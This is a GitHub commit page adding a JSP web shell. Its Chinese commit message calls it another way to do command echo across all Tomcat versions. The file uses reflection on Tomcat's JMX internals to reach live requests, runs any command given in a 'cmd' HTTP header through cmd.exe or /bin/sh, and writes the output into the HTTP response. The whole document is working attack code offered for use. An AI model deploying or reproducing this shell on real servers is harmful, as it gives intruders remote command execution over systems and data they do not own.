Skip to content

Commit ff49a6e

Browse files
author
feihong
committed
添加 Tomcat 全版本回显的另一种方式
1 parent ba09c8d commit ff49a6e

1 file changed

Lines changed: 52 additions & 0 deletions

File tree

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
boolean flag = false;
4+
5+
javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
6+
java.lang.reflect.Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
7+
field.setAccessible(true);
8+
Object obj = field.get(mbeanServer);
9+
10+
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
11+
field.setAccessible(true);
12+
com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj);
13+
14+
java.util.Set<com.sun.jmx.mbeanserver.NamedObject> objectSet = repository.query(new javax.management.ObjectName("Catalina:type=GlobalRequestProcessor,*"), null);
15+
for(com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet){
16+
javax.management.DynamicMBean dynamicMBean = namedObject.getObject();
17+
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
18+
field.setAccessible(true);
19+
obj = field.get(dynamicMBean);
20+
21+
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
22+
field.setAccessible(true);
23+
java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj);
24+
25+
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
26+
field.setAccessible(true);
27+
for(int i = 0; i < procssors.size(); i++){
28+
org.apache.coyote.Request req = (org.apache.coyote.Request) field.get(procssors.get(i));
29+
String cmd = req.getHeader("cmd");
30+
if(cmd != null && !cmd.isEmpty()){
31+
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
32+
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
33+
34+
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
35+
try {
36+
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
37+
obj = cls.newInstance();
38+
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
39+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
40+
} catch (NoSuchMethodException var5) {
41+
Class cls = Class.forName("java.nio.ByteBuffer");
42+
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
43+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
44+
}
45+
46+
flag = true;
47+
}
48+
49+
if(flag) break;
50+
}
51+
}
52+
%>

0 commit comments

Comments
 (0)